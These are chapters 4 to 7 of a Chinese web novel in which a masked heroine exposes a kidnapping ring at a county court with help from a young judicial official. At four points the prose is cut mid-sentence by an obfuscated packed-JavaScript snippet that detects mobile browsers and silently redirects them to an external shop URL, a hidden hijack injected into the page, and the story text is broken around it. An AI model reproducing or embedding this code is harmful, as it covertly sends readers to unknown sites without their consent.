沈付雪趁机飞身上前,手起刀落将几人的性命全部收割后,正要松下一口气,身后却忽地传来了声响。 “敢在老子的眼底下闹事,老巫婆你死定了!!!哈——” 极具戏剧性地发言穿过耳朵,沈付雪飞速闪到一旁,而后目光准确地落在不远处的山洞里。 ……大意了。 她该意识到的。拐卖人口这般大胆的事,山洞里又怎可能没人看着呢。 沈付雪头疼地揉了揉脑袋。 绘梦之术果然不能多用,自王二那次之后她的脑袋里就时刻像是有针在扎一样,连反应力都下降了不少。 “你是谁?谁派你来的?” 此次领头的是个身材瘦小的男子,身后跟着五六个人,见一击不中,此刻正一脸谨慎地盯着她打量。 沈付雪面色冰冷,不欲多说,抬手就将手中的匕首飞射出去—— “住手!” 中气十足的吼声倏地打断两方争执,“铮”的一声,匕首被打偏,只从瘦小男子的脸颊上擦过。 是官兵。 沈付雪皱起眉头。 ……怎么会有官兵出现? 沈付雪是不信任官府的。不说她父兄之死就是被皇帝、被他们所忠之人谋害,就单是那日在县衙听到的模糊对话,便足以瓦解她对官府的所有信任。 所以,她是万万不可能报官的。 而对面的人牙子又是做着那见不得人的勾当,即便是和官府有所勾结,也不可能做的如此明目张胆。 既然双方都没有报官动机…… 脑中画面碎片式地滑动,沈付雪正思索着,蓦地抬起眼,抓住了脑海里那一闪而过的身影。 景凭生…… 又是他? 他究竟想做什么? 沈付雪眉头蹙得更紧。她换了好些个角度,都无法想明白景凭生做这些事情的用意。 但恍然间,她又好似明悟了些什么。 时间已经过去两年了。 两年的时间过去,什么都会变化,人更是如此。景凭生早已不是她的师兄,她不该用之前的眼光看待他的。 她已经不了解他了。 思及此,沈付雪深吸一口气,目光落到将众人围起来的官兵身上。 “哼,怪不得大老远就闻到了恶臭味儿,原来是你们这些阴沟里的老鼠在内讧啊……真是糟糕的家伙们。” “来人,把他们都给我押回去审问!” 兵甲叮叮当当,因着双方实力悬殊,一声令下,得知已无法逃脱的人牙子们也不再挣扎,认命地将双手背了过去。 沈付雪松了口气,浅合上眼,正欲伸手再度揉一揉那发痛的额角时,“咣当”一声,冰凉的刑具被套在了她的另一只手上。 “老实点!另一只手,自己来还是我帮你?” 某个官兵一脸不耐烦地把手中的刑具递到她的眼前。 沈付雪:…… 她本想反抗,但想想自己脸上的人皮面具,以及刚才飞射出去的匕首……思索再三还是把手铐咔嚓一下锁在了自己手上。 “娘子……” 身后传来少年细细弱弱的喊声,沈付雪回头看他一眼,“去寻你阿妹吧。” 言罢,沈付雪便不再看他,被官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227977|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵推搡着往前走去。 若是幸运的话,那个山洞里应当是有阿澈阿妹的。但若是不幸运…… 沈付雪微垂下眸,趁着这个时间把整件事情梳理了一遍,开始复盘有没有被她遗漏了的地方。 * “砰——” 惊堂木被拍在桌上,发出震天声响。 沈付雪身形佝偻地站在大堂中央,面上一片平静。 “大胆三娘子,接连杀害李英博、袁奇、江皖等五人,此番行径你可认?” 沈付雪微屈下身,答:“认。” 似是她的反应平静地有点儿不同寻常,县令卡壳一瞬,清了清嗓子又道:“那你可知,杀人偿命,你此般行为可有想过后果是什么?” 沈付雪:“自然知晓。” 四个字说得理直气壮,县令被她噎得气不打一起来,当即又拍了下惊堂木,大声呵斥:“既如此——” “凡盗贼军乡邑及家人,杀之无罪。民女所杀之人皆为人牙子,杀他们,岂非无罪?” 县令发号施令的话还未说出口,沈付雪便忽地站直身子,抬起头,语气不卑不亢地反问过去。 县令:“这……” “自是无罪。” 清朗卓越的声音从外面传来,虽还未见到其人,但仅凭着声音沈付雪就已然认出了来人是谁。 果不其然,方才还一脸上位者威严的县令,此时已经飞速从座椅上挪了下来,对着来人满脸谄媚:“大人,您怎么到这里来了?” 景凭生视线落到前方站得笔直的身影上,眼中闪过一丝不易察觉的笑意:“无事,只是来看看县衙的办案流程,不用管我,你继续。” 大理寺的来看县衙办案…… 县令内心揣揣,面上却连声应好。 “咳……”县令重新坐回座椅上,“方才景大人所说,也是本官的意思。只是,你要如何证明自己和他们不是一伙的呢?” 闻言,沈付雪抬起头,笑:“就凭……三娘子另有其人。” 言罢,只听“撕拉”一声,脸上的人皮面具被揭下,一张属于妙龄女子的脸当即显露出来。 与此同时,堂内一片哗然,角落里的衙役震惊地不知踢翻了脚下的什么物什,发出刺耳声响。 “这也太真了吧……” “对不住对不住……” “我还是第一次见这种技艺,你说我要是学会了……明日是不是就不用来上值了?” “……” 沈付雪安静地站在人群目光聚集处,指尖轻柔地抚上脸庞。 出于谨慎,她方才还是像骗景凭生一样,掩住了自己的真实面容。毕竟“沈付雪死亡”的风波还未过去,近期还是戴着人皮面具为好。 但不知是不是沈付雪的错觉,她总觉得那嘴上说着要旁听案件的人,在她刚揭下人皮面具的时候哼笑了一声…… 沈付雪克制住往旁侧看一眼的冲动,将目光放在了县令的身上。 县令:…… 目睹了大变活人全过程的县令跟旁边的师爷对视一眼,虽然有被此等逼真的画皮技术震惊到,但县令毕竟是见过大场面的人,很快便找回了状态,并迅速反应过来整个案子中的疑点。 于是,他捋了捋胡子,向沈付雪发出致命一问。 “既是如此,那真正的三娘子……现在何处呢?” 5. 第 5 章 真正的三娘子自是被她当作替身,丢进了湖泊之中。 但这话是万万不能讲的。 沈付雪浅然一笑,视线意有所指地从县令身边,端正地做着笔录的师爷身上划过,停顿两秒后又落到了角落里那刚发出声响的地方。 众人随着她的视线望过去,而后就听她道:“三娘子去了哪里……这可就要问问王衙役了。” 被指名的王二心脏咯噔一跳。 自沈付雪揭下人皮面具的那一刻起,他就知道自己逃不掉了。 只是…… “娘子此话何意?三娘子的去向,我一个小小的衙役又如何得知?” 王二攥紧手中的长袖,努力让自己在此刻做出正常人应当做的反应。 事已至此,他还有什么不明白的!三娘子定是在同他碰面之前就被调了包,上次他见到的,应当也是面前这个会换脸的陌生小娘子…… 骗了他还不算,如今竟还想把事情推到他的身上!王二咬牙切齿,恨不得此刻就把沈付雪剥皮抽筋! 相较于王二的气急攻心,沈付雪这边就淡然许多。见他否认,沈付雪也不急,只道:“若是连王衙役也不知的话,那这三娘子的去向……民女可就无从得知了。” “三……咳,你这小娘子,到底何意?” 县令被两人打谜语似地绕住,皱着眉问。 沈付雪笑了笑,将她“所见”娓娓道来。 “大人明鉴,民女云雪笙,也是三娘子和王衙役两人绑架的受害者之一。” “那日王衙役来寻三娘子,民女亲眼所见两人就绑架一事起了争执。三娘子想要金盆洗手,但王衙役不愿,于是吵着吵着两人便动起手来……最后王衙役失手将三娘子杀害,慌乱之下将人拖了出去,至于拖去了哪里,民女就不知道了。” “……你胡说!!” 听见这般颠倒黑白的话,王二被气得吹胡子瞪眼,撸起袖子就要上前,但县令一个眼神,王二便被身旁的同僚给拦住。 王二气急,转头便跟县令哭嚎:“大人!您可千万不要信了这个妖女的话啊!一切都是她在胡言乱语,还请大人明鉴!!师爷……师爷您帮我求求情啊……” 突然被扯进脏水窝里的师爷一个手抖,纸张上被划出一道长长的墨迹。 他轻咳一声,精明的眼睛瞪向王二:“求我做甚!若是你没错,县令大人自会给你主持公道。有这求人的时间,还不如好好想想你到底做了些什么。” “师爷……” “肃静!” 端坐在高位的县令暗戳戳地看了景凭生一眼。他正把玩着手中的扳指,神情被挡在乌黑的长发下,什么都看不见。 县令琢磨不透他的心思,便只好放弃琢磨,假装他不存在。 回头对着身旁的心腹吩咐了两句后,县令又正起神色,目光看向沈付雪:“三娘子一事暂且搁置,本县听你方才的意思……是说王二王衙役,也参与了拐卖案?” 闻言,王二瞪大眼睛,心如死灰。 沈付雪则是点点头,语气平静地答:“大人所言极是。” 王二不过一个小喽啰,还未状告他的时候便已沉不住气,更遑论此刻被如此沉重的气氛裹挟着……哪怕证据还未呈上堂来,单是看他脸上的神情,孰是孰非众人已经全盘知晓。 “口说无凭、口说无凭!!” 王二转过身,目光狠戾地看向沈付雪,破罐子破摔的他反倒是冷静了下来:“云娘子方才所说皆为口述,既无人证也无物证,难不成是单凭一张嘴就想定我的罪吗?哼,我劝云娘子还是安分守己,一介女流,倒是学着旁人破起案子来了,不三不四的样子像什么话……” 高堂肃穆,王二叫嚣的话久久回荡。 沈付雪冷笑一声,抬起手,正欲反击他,但话刚到嘴边却忽地被人给打断。 “阿泽,掌嘴。” 慵懒的嗓音慢悠悠地从公堂上响起。随之而来的,是“啪啪啪”的耳光声。 四下沉默。 直到王二的哀嚎声逐渐虚弱,县令才堪堪回过神来,连忙从座位上起身,一路小跑至景凭生的面前:“景大人,您这是……” 景凭生睨他一眼:“对女子出言不逊者,掌嘴五十。” 说着,他哼笑一声,挑眉道:“怎么,难不成你这县衙上,没有这个规矩么?” 县令哪敢说没有,连忙躬身应道:“有的有的……自是有的……” 只是嘴上这么说,县令的眼睛却是不自觉地看向了沈付雪的方向。 少卿此举明显是为这小娘子出气,莫非……这小娘子与少卿有什么交情不成? 可两人举止疏离,看着也不像啊…… 县令百思不得其解,最终只得放弃,边摇头边走回自己的座位上。 五十个巴掌就这么在众人的沉默中结束。 县令看了眼随时都有可能晕过去的王二,果断地选择了无视。 “咳,虽然王二……为人处事是差了那么点儿,但他刚才所言也不是全无道理。有证据方能断案,那……云娘子,你可有证据?”县令问。 沈付雪收回落在景凭生身上的视线,点了点头:“那日王衙役在同三娘子争执的过程中,手臂有被三娘子挠到。若是王衙役不心虚的话,大可伸出手让众人查验一番。” 众人视线交汇处,王二哑口无言,沈付雪的犀利言语加上景凭生侍卫的一顿暴打,已经让他方才的嚣张气焰消失得无影无踪。 见他无言,沈付雪又道:“当然,手臂上的伤只是物证之一。如果民女的猜测正确,那……劳烦县令大人遣人去王衙役的房里查探一番,相信定能有所发现。” “若是这些还不能让王衙役死心的话,民女这里还有……” “你个贱人!我要杀了你啊啊啊——” 王二神情癫狂,疯了似地朝沈付雪扑过来。 但他才刚刚迈出几步,连沈付雪的身还没近,就“噗——”的一下,像个风筝一样飞了回去。 身体撞到墙上,没了意识。 侍卫阿泽看向沈付雪:“不用谢。” 沈付雪:…… 案件戏剧似的开始,又戏剧性地结束。 县令脸都要气绿了,冷声派人去搜查王二的房间。 但此话落下的瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227978|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边的师爷竟第一个站出来:“想不到王衙役竟然会做出如此大逆不道之事,大人,搜查一事就交给我吧,我定要将此事查个水落石出。” 县令缓了口气,道:“那就……” “慢着——” 沈付雪下意识地开口打断。 等她意识到自己说了什么的时候,已经来不及了。 那是上位者对下位者的语气。 于是,在众人目瞪口呆的目光下,沈付雪极为缓慢地眨了下眼,而后装作什么都没发生似的,接上话题:“县令大人,拐卖一案事关重大,民女以为,大人应该亲自去监督才对,如此也能做个表率,以彰官府爱民如子,杜绝拐卖的态度。” 沈付雪语气冷静,实在看不出是能说出如此温情之语的人。 故而县令顿悟,在听完她此番言语后,目光极为隐晦地扫了师爷一眼,而后沉吟一声,站起身道:“云娘子所言有理,那便听云娘子的,来人——” “随本县一同去看看,这王二的房里,到底有何见不得人之物。” “师爷,一起吧。” 言罢,县令朝景凭生施了个礼,留了些人在大堂上善后后,便风风火火地离开了。 沈付雪作为被留下来的人之一,静默两秒后,还是去了景凭生那边,行了个礼道:“多谢景大人方才出手相助,民女感激不尽。” 景凭生手撑着脑袋,又哼笑一声:“只嘴上说一句谢谢就完了?” 沈付雪抬眼看他。 景凭生:“……既然感激不尽,那不如——” 生怕从他嘴里听到那四个字,沈付雪面无表情地转了个身,朝着阿泽道:“也多谢阿泽大人,民女感激不尽。” 景凭生:“……” 阿泽:“……” 脸上的笑容僵掉,阿泽收回刚才看戏的心态,连忙向自家主子表忠心:“大人,我……” 景凭生冷哼一声,用拂起的袖子止住他要说的话。 ……反正不管什么话,从他的侍卫嘴里说出来,就不是好话。 眼看景凭生没了逗趣她的心思,沈付雪心下微松,思虑再三后又朝人施了个礼后转身离开。 大堂之上还有个管事的人。 沈付雪快步走过去,礼貌开口:“这位大人,劳烦问一下,此次被绑架的受害者,现在何处?” “受害者?”崔管事停下手中的工作,“哦,娘子是说跟娘子一同回来的那些人吧。按照流程,他们现下应当在接受案件问询,待我们确认受害者的身份后自然会把人送出来。” “云娘子是想去找人?这样吧,我让人带娘子过去,待问询结束后,娘子自然能见到想见之人。” 言罢,崔管事热心地喊来一位同僚,而后朝人叮嘱了几句。 沈付雪浅浅一笑,朝人道谢:“麻烦崔管事了。” 也不知道阿澈找到他的阿妹没有…… 沈付雪低头思忖着,脚下跟着好心衙役,正要迈出大堂,便听着身后传来一声喊。 “等等。” 沈付雪下意识地扭过头。 便看见身后似乎有些咬牙切齿的某人。 6. 第 6 章 雪后天寒,呼啸的寒风从门口灌入,即便已然站在了阳光倾洒之处,身上也还是连一丝暖意都无。 沈付雪盯着男子身上的黑色裘衣,不由得想起两人尚在苗疆之时的冬日光景。 和京城不同,苗疆地处偏远,又多奇人异士,故而寨子里的人大多脾气古怪,致使沈付雪有很长一段时间都觉得那里阴气森森的,踏进苗疆就像是踏进了鬼域。 但景凭生却是个例外。 不同于现在的狠厉诡谲之意,彼时的景凭生秉性温和,待人有礼,是即使在怪人居多的苗疆都能做到被人人都夸赞的苗疆圣子。 那时的他最爱穿白衣,冬日里一袭白色裘衣便仿若和大雪融合在了一起,皎若天上月,让人不自觉地便对他生出依赖之情。 反观现在…… 沈付雪眸光微闪,突然就很想知道,在她走后景凭生身上到底发生了些什么,竟能让人有如此大的转变…… 因为苗疆吗? 可她从未听过苗疆有何异动…… 沈付雪垂眸思索着,不知不觉就出了神。 待她反应过来的时候,对面那人已经学着她的样子,双手交叉,同她面对面地站了良久。 沈付雪:…… 她规整地放下手,抬眼看他:“景大人叫住民女,可是有要事?” 言罢,景凭生嗯了一声,道:“自然。” “云……娘子也是个直爽性子,那某便直说了。云娘子机智过人,有勇有谋,某十分看好云娘子,不知云娘子……可有意愿加入我大理寺?” 景凭生怀揣着手,似是故意在喊她名字的时候加重了语气,末了又眼含笑意地等着她回答。 闻言,沈付雪定定地看他一眼,“大理寺?” 景凭生点头,正要说些什么,却被身边的阿泽抢了先。 “对哦对哦,我们大人可是历代最年轻的少卿,有句话叫做新官上任三把火,如今正是用人之际,云娘子若是此时加入我们大人麾下……前途不可限量哦。” “怎么样云娘子,考虑一下?” 阿泽笑嘻嘻地帮着自家大人拉拢面前女子,因着是个活泼性子,他习惯性地朝人眨巴了下眼。正觉自己“功成名就”之时,却忽地察觉到周边气氛冰凉起来。 阿泽转过头,对上景凭生那双似笑非笑的眼睛。 阿泽:…… 他默默往后退了两步,将自己的身形隐匿在景凭生身后。 邀请的话都被阿泽说了,景凭生便也没再多说什么,只安静地等着沈付雪的回复。 “原来大人便是最近民间热议的那位大理寺少卿么。”沈付雪弯了弯眸:“看来传言也并非全然不可信,至少大人的确风姿飒爽,神清骨秀。” 有关大理寺少卿的传言是在两月之前出现的。说什么少卿大人方才弱冠便因屡破奇案被圣上亲自提拔为大理寺少卿,不仅睿智机敏,就连容貌也惊为天人……虽说也有少卿大人阴狠薄情,手段毒辣的传言出现,但无一不泯灭在这无尽的夸赞之中。 就连沈付雪这种向来不关心朝堂之事的大家小姐都对少卿有所听闻,一时之间,少卿大人可谓是风头无两,叫人好生艳羡。 自顾自地说完,没给少卿大人作出回复的机会,沈付雪就接着说道:“既是少卿大人的邀请,民女断没有拒绝的理由。” “只是……” “少卿大人邀请的如此爽快,难道就不怕民女存了什么不该有的心思,毁了大人的锦绣前程么。” 不似先前的利落温顺,少女勾唇笑着,身上气势随着话语逐节攀升,那双清亮的眼睛也像是要透过阻隔,直直望进他的心里似的。 仿若棋逢对手,又似老友重逢,偌大的天地间,连风声都渐渐远去,唯余两人相视而立。 末了,只听“噗嗤”一声,景凭生唇角勾起,望着人的眼睛盈满笑意:“疑人不用,用人不疑。云娘子这般聪慧,所求之事定与某不谋而合,既如此,又何来‘不该’一说呢?” 犀利的话语被轻松化解,沈付雪看着面前的男子,也跟着笑:“少卿大人所言极是,雪笙自是要站在少卿大人这边的。” “只是现下雪笙还有要事,少卿大人若是不急,便在此等雪笙片刻,可好?” 沈付雪放柔声音道。 见对方点头,沈付雪礼节性地道了个谢,便转身离开。 寒风依旧肆虐,沈付雪低垂着头,甫一转身便被冷意侵满身体,不由得叹了口气,默默地把身上的衣裳往下理了理。 天气是近几日方才降温的。初时沈付雪刚死里逃生便被卷入拐卖案,且不说无甚时间去购置冬季衣物……即便有时间,沈付雪也未必能买到。 因为她的身上,没带零钱。 若说首饰……沈付雪出身武将世家,不知是不是受到家风熏陶,她从小便不喜欢那些繁琐花哨的首饰,唯一佩戴在身上的,唯有腰间一香囊。 里面装着满当当的……蛊虫。 好歹也是个大家小姐,沈付雪又叹口气,属实是想不到自己竟会有如此狼狈的一天。 等她有钱了…… 激励人心的话刚从脑海里冒出,还没来得及细化,沈付雪便忽地感觉肩上一沉,几乎是瞬间就被那无边的暖意,夹杂着有些陌生又有些熟悉的气息裹挟住。 沈付雪垂眸看过去。 是一件黑色裘衣。 “少卿大人……” 沈付雪语气犹疑,抬起手,欲抓住裘衣两侧。 然而手抬到半空却倏然顿住。沈付雪思索两秒,接着又很顺滑地将手放了下去。 她抬起头,大大方方地朝人展颜一笑:“多谢大人美意,今日天气着实有点冷,雪笙便不推辞了。” 言罢,在少卿大人的注视下,沈付雪再次转过身—— “记得还我。” 带着笑意的,好似逗弄的话语在她耳边炸开。沈付雪身形一顿,本想回些什么,但话到嘴边又咽了回去,只当没听见似的,快步走出大堂。 直到她的身影消失,心情颇好的景凭生方才回过身,准备就沈付雪所说,到大堂里面等她。 但视线所及,侍卫阿泽正规规整整地站在他身后。景凭生瞥他一眼,路过的时候顺便将他身上的披风拽下来—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227979|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 披在了自己身上。 阿泽:…… * 审讯室距离大堂不远,约莫百来步的路程,沈付雪便在衙役的带领下到了门口。 只是大门紧闭,也无甚声响从里面传出。 “云娘子便在此处等候吧,待问询结束,云娘子自能见到想见之人。” 领路衙役指着一旁的小石桌,叮嘱了沈付雪一句,而后便拱手离开。 想来是经常有人同她一样来此等候,方才有了这小石桌吧。 沈付雪裹紧身上的裘衣,搭眼往三个石凳上看了个来回,而后挑了个顺眼的坐下。 然而她才刚把双手支在下巴处,“吱呀”一声,审讯室的门,开了。 陆陆续续地有人从里面出来。 喧嚣声起,沈付雪起身往前走了两步,恰好看见阿澈牵着个小女孩儿,边抹掉她脸上的泪水边往外走。 ……幸好。 沈付雪心下微松,看着那小女孩儿边哭边控诉的样子,脸上不自觉地扬起了一个小小的弧度。 和她不一样,就好。 “云娘子!” 见她在这里,阿澈眼睛一亮,连忙拉着妹妹小跑到她面前:“云娘子,这便是我阿妹,叫阿……” “安安!云娘子,我叫安安~” 约莫七八岁大的小女孩儿瞪了自家哥哥一眼,抢在他之前说出自己的名字。 沈付雪初时还有些不明所以,但联想到阿澈之前的名字……瞬间便明白了原因。 她盯着阿澈羞红的脸,终是没忍住笑出了声。 “云娘子……” 少年细弱的喊声传入耳里,沈付雪这才止住笑,蹲下身跟小女孩儿平视:“原来你就是安安呀,名字真好听。” 安安用力点头:“是我自己取的!安安希望阿兄一直平安,所以给自己取名叫安安!” 沈付雪拉长声音“啊”了一声,视线扫过旁边垂头不语的少年,又没忍住道:“那阿兄怎么不叫平平,只有安安叫了安安呀?” 沈付雪说完,自己反倒是先笑了。 不过她只是打趣一问,本没指望被回答,却没想到小女孩儿握了握拳,很是正经地控诉:“因为阿兄坏!阿兄说安安取的名字不好听,不要跟安安一起用!” “……安安!” 无视自家阿兄的小情绪,安安轻哼一声,扭头看向沈付雪:“云娘子……安安有点儿冷,可以让安安也用一下这个黑乎乎的衣服吗,安安长大后会报答娘子的!” 闻言,沈付雪才突然反应过来现下的天气,连忙把小女孩儿抱在了自己怀里。 末了,她看向阿澈:“你……” “我、我不冷的!”阿澈飞速将通红的手缩进衣袖里,掩盖自己说谎的事实。 沈付雪咽回自己刚要说的话,指了指来时的方向,道:“那我们快些回去,屋里还是暖和些的。” 言罢,她起身带路,脚下生风似的走得飞快。 然而她将将走出几步,身后却忽然传来两声呼喊。 “……等一下!” “云娘子等一下!” 7. 第 7 章 “云娘子……” 来人气喘吁吁,换了口气后正要开口,忽地,周边喧嚣四起。 嚎哭声与喊叫声不绝于耳,沈付雪顺着声源看去,只见好些人从衙门口的方向挤过来,同方才从审讯室里出来的被害者们抱头痛哭。 ……原来是家属到了。 沈付雪看了两眼便扭回头,“这位郎君,叫住民女可是有什么事?” “啊有有有!”来人闻言赶忙回神,一脸严肃地朝身后指了指,“其实是大人那边想请娘子去一趟……” 说着,他做贼似地左右看了两下,然后凑近沈付雪,小声道:“因为啊,那三娘子的尸体……” “找到了。” * 验尸房外。 越是靠近房间身边就越是寒冷,甚至夹杂着些许发烂发臭的味道…… 前方给她带路的衙役脸上神情已然不太好看了,唇色微微发白,好似随时都能晕过去。 反观沈付雪,脸上神色和他如出一辙,只不过那衙役是被吓的,而沈付雪…… 是被冻的。 因着县令这边催得紧,沈付雪来不及把阿澈和安安送回大堂,又不能让两个小孩子跟她来验尸房这种地方,权衡之下,便将身上的裘衣解了下来,由阿澈披着裘衣带安安自行回去。 彼时阿澈百般推辞,但无一不被沈付雪挡了回去。只是没想到这验尸房的风,吹在脸上竟是比外面还要冷。 沈付雪叹了口气,接着面无表情地踏进验尸房。 “云娘子来了。” 伴随着吱呀一声响,房内之人下意识地看过来,见是沈付雪,县令当即喊了声,摆摆手示意她过去。 沈付雪应下,边走边打量被众人围起的那张床。 床上本是盖着白布的,此刻被揭开了一些,虽只露出了脖颈及其头部,但只需一眼,饶是沈付雪这般自小便见惯了尸体之人,都忍不住变了脸色。 属实是因为床上那尸体的面容……太过惨不忍睹。 “云娘子,麻烦您仔细看看,这床上之人……可是三娘子?” 站在床边的仵作开口,问。 “依据我们所搜集到的情报,再翻了大半个乱葬岗后,虽确实是找到了这么一个……一位身形衣裳都跟三娘子无比吻合的女子,但这脸……虽说是有些难以辨认,但现下唯一对三娘子还算了解的,便只有云娘子您了。” “还望云娘子仔细瞧瞧,这女子可是我们要找之人?” 虽说见过三娘子的人不少,单是从山洞里救出来的那些便有十几人之多,但他们在案件问询的时候便已旁敲侧击过,那些人要么是被绑架一事刺激到,现下什么都说不清,要么便是见过但已然不记得三娘子长什么样子…… 无论如何,现下能来此指认的,便只有云娘子一人了。 而被委以重任的沈付雪只点点头,脸上毫无惊诧之意,显然是早已对现下场景有所猜测。 事实上也确实如此。 早在反杀三娘子那刻,沈付雪就知道早晚会有这么一幕,只是真正的三娘子被她当去了替身,但人总不可能无声无息地就没了音讯,若是放任不管,迟早会查出“沈付雪假死”一事。 故而,在夜探县衙那晚,她交代阿澈去办的……便是去乱葬岗伪造三娘子尸体这件事。 而后县令在公堂上对着心腹耳语的那一刻,沈付雪便知道,三娘子死亡的真相,很快就要“水落石出”了。 唇角不动声色地勾了一下。 沈付雪走上前,目光落到女子的脸上。 刀痕纵横,深可见骨的伤痕混合着早已干涸的血迹,女子的脸已然无法直视,别说要沈付雪辨认,怕是连三娘子的父母来了,都难以辨认这床上之人究竟是不是自己的亲生女儿了。 不得不说,阿澈的办事能力,当真是让她惊讶。 这么想着,沈付雪稍稍走神片刻,而后绕着小床走了一圈,伸手问仵作要了个趁手的工具。 紧接着,她将女子的头发往旁边挑开些许,露出底下的皮肤。 “这人……确是三娘子。” 沈付雪开口,示意众人往她长尺所指之处看去,“三娘子的琵琶骨上,有一枚深褐色的印记,此女子无论身形衣裳,还是这独一无二的印记,都和三娘子一致,所以……依民女所见,这定然是三娘子的尸体。” 说完,她又看向县令,补充道:“此印记较为特殊,若是有心观察,定是能记得这一点的。民女所言终究只是一面之词,大人若是不信,待那些被害之人的状态好些,大可再问上一问。” 沈付雪敢如此说,便是因为她确实不怕官府去查验。 这是她先前便跟阿澈约定好了的。三娘子的琵琶骨上有没有胎记她不知道,但“三娘子”的琵琶骨上确实是有。 两人对好这一信息后,在山洞阿澈寻找妹妹的时候再对受困者们进行一些言语暗示…… 如此一来,“三娘子”的身份便是板上钉钉,无甚疏漏了。所以沈付雪是当真不怕他们去找人确认的。 “云娘子哪里的话。云娘子这般聪明伶俐,本县岂有不信的道理。”县令扯了下嘴角,一副想笑却又笑不出来的样子,“说起来,本县还要多谢云娘子,若不是云娘子指证,怕是本县到死都不知道这穷凶恶极之人竟就在我县衙里!” 言罢,县令神色冰冷,目光直直地射向一旁被羁押的师爷身上。 因着师爷在公堂上的愚笨表现,沈付雪自是猜出来了师爷便是拐卖案的幕后之人,但……该装的时候还是要装一下的。 于是,沈付雪顺着县令的目光望去之后,微微瞪大了眼睛,以示惊讶:“咦,这不是师爷吗?怎么会……” 师爷:…… 他抬起头,目光怨毒地看向沈付雪。 “云娘子,事情是这样的……” 知道自家县令不愿提起此般令他痛心疾首之事,一旁的心腹凑近沈付雪,小声道:“因为听了云娘子的建议,我们一行人在王二的房间仔细搜查了一番,却没想到竟真的在他的桌上搜到了他跟幕后之人的往来书信。” “虽说那书信上没有署名,但那笔迹……” 心腹递过来一个“你懂”的眼神,沈付雪瞬间心领神会。 据说这师爷在县令这里不仅要出谋划策,还要承担起案件记录的职责,如此一来,县令定是对师爷的笔迹烂熟于心,即便师爷刻意去改变写字习惯,在熟悉的人面前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227980|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也难免会有疏漏之处。 沈付雪随口附和一句,倒是没想到这案子竟进展地如此顺利。 真不知道是该说王二愚笨,还是要说师爷的脑子也好不到哪去了…… “大人!大人您快去……呕,大人您……您去看看吧,师爷他……师爷的房里……呕——” 三娘子一事结束,众人正要打道回府,然而就在这时,房门倏地被人粗鲁推开,一名衙役跌跌撞撞地跑进来,边汇报情况边干哕。 听见他的话,沈付雪思索一瞬,目光倏然一紧,似是猜到了些什么,扭头看向师爷。 果不其然。 只见他脸色发白,一脸大难临头的死相,想就知道这衙役发现的不会是什么好事。 气氛顿时凝重起来。 县令目光复杂地从师爷身上收回视线,紧接着大袖一甩,“慌慌张张像什么样子!前面带路,本县倒要看看,师爷房里究竟藏了什么可怖东西!” 说着,他便大步朝着门口跨去。 路过沈付雪的时候还不忘问上一句:“云娘子可要一起?” 沈付雪自是点头,除去看守三娘子尸体的两三人,众人浩浩荡荡地来,此刻又浩浩荡荡地朝着师爷的房间而去。 只是刚一出验尸房的门,就见县令带头停下,对着前方那倚靠在路边大树下的少卿行礼,丝毫不见方才的威风模样。 沈付雪心中叹气,面上却不显,只随着县令一同行礼。 县令:“景大人您这是……” 景凭生:“没什么,只是在屋里呆久了,久不见人,这才出来看看你们这边进展如何了,可有什么发现?” 那人嘴上说的云淡风轻,视线却时不时地往这边瞟,让沈付雪连欺骗自己这话并不是在点她的理由都没有了。 于是她只能在众人的视线盲区里,微笑着对景大人做了个“双手贴合,拜托拜托”的动作,以表歉意。 景凭生:…… 轻咳一声,两人的寒暄也没持续多久,众人随即又朝着目的地而去。 * 和师爷本身看上去有些狡诈的气质不符,他的住处倒是简单大气,有股清廉之风。 其余的先不说,这面子工程倒是做得挺好。 只是这屋里的所有人,都没有心思去揣摩房间使用者的习惯作风,一个个的都脸色苍白,浑身紧绷地活像是这里有什么怪物似的。 